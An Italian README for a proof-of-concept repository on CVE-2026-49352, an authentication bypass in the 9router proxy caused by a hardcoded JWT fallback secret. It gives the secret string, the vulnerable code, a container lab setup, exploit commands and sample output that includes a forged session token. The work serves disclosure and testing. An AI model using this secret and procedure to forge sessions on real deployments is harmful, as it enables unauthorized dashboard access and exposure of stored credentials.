
PoC di sfruttabilità per CVE-2026-49352 (9router: bypass dell'autenticazione tramite segreto JWT hardcoded)
CVE-2026-49352 è una vulnerabilità in 9router, un proxy self-hosted basato su Node.js/Next.js per strumenti di coding con IA. Il JWT di sessione della dashboard viene firmato con un segreto ottenuto dalla variabile d'ambiente JWT_SECRET, ma se tale variabile non viene impostata, sia l'handler di login sia il guard delle richieste ricadono sullo stesso valore letterale hardcoded:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Poiché questa stringa è presente nel repository pubblico, non è affatto un segreto. Qualsiasi attaccante può firmare un token con essa ed essere trattato come un utente autenticato della dashboard.
| Intervallo interessato | Corretto in |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
Il segreto di fallback è definito in modo identico in due file indipendenti.
src/app/api/auth/login/route.js — emette il token di sessione al login:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — verifica il token su ogni richiesta protetta:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
Il successo di hasValidToken() è l'unica condizione verificata prima di concedere l'accesso a /dashboard e agli endpoint elencati in ALWAYS_PROTECTED (incluso /api/settings/database). Non viene effettuata alcuna ricerca di un record di sessione né alcuna validazione della provenienza del token: una firma valida viene trattata come prova di identità.
Il bypass è confermato e riproducibile su una build del codebase interessato. Con JWT_SECRET non impostato:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
La vulnerabilità si manifesta solo quando JWT_SECRET non è mai stato impostato dall'operatore — la condizione predefinita per la maggior parte dei deployment quick-start / docker-run che saltano il passaggio di configurazione dell'ambiente. I deployment che impostano esplicitamente JWT_SECRET a un valore casuale non sono interessati, poiché SECRET viene derivato una sola volta al caricamento del modulo e non ricade mai sul fallback.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Strumento | Versione | Note |
|---|---|---|
| Podman | ≥ 4.0 | Richiede podman-compose |
| Go | ≥ 1.22 | Per eseguire l'exploit in locale |
Dipendenza Go esterna: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Attendere che l'app segnali di essere pronta, quindi verificare:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
Aggiungere -probe per richiedere anche /api/settings/database con il cookie contraffatto:
go run exploit.go -target http://localhost:20128 -probe
Flag disponibili:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Risorsa | Link |
|---|---|
| Avviso di sicurezza | GHSA-jphh-m39h-6gwx |
| Repository vulnerabile | decolua/9router |
| Analisi completa — post del blog | return-zero.dev/posts/cve-2026-49352 |
Questa repository ha finalità esclusivamente educative e di analisi locale della sfruttabilità. Tutti i test sono stati eseguiti su un ambiente container self-hosted. Non eseguire questo PoC su sistemi che non possiedi o per i quali non disponi di un'esplicita autorizzazione scritta a effettuare test.
| Flag | Default | Descrizione |
|---|
-target | http://localhost:20128 | URL di base dell'istanza 9router |
-secret | 9router-default-secret-change-me | Segreto JWT di fallback da usare per la contraffazione |
-ttl | 36 * 365 * 24h | Finestra di validità del token contraffatto |
-probe | false | Richiede anche /api/settings/database |